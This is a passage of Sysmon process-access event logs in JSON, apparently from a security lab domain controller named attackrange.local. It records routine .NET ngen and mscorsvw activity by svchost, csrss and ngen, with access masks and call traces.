12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7092,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-001015DF0B00}\r\nTargetProcessId: 4368\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-001015DF0B00}","TargetProcessId":"4368","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7093,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.604\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010B6E20B00}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.604","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010B6E20B00}","TargetProcessId":"2820","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7094,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.604\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010B6E20B00}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.604","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010B6E20B00}","TargetProcessId":"2820","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7095,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.635\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010B6E20B00}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.635","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010B6E20B00}","TargetProcessId":"2820","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7096,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.666\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-00105BAE0A00}\r\nTargetProcessId: 4928\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.666","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-00105BAE0A00}","TargetProcessId":"4928","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7097,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.666\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-00105BAE0A00}\r\nTargetProcessId: 4928\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.666","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-00105BAE0A00}","TargetProcessId":"4928","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7098,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-001048E60B00}\r\nTargetProcessId: 4928\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-001048E60B00}","TargetProcessId":"4928","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7099,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.760\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010F2E90B00}\r\nTargetProcessId: 2432\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 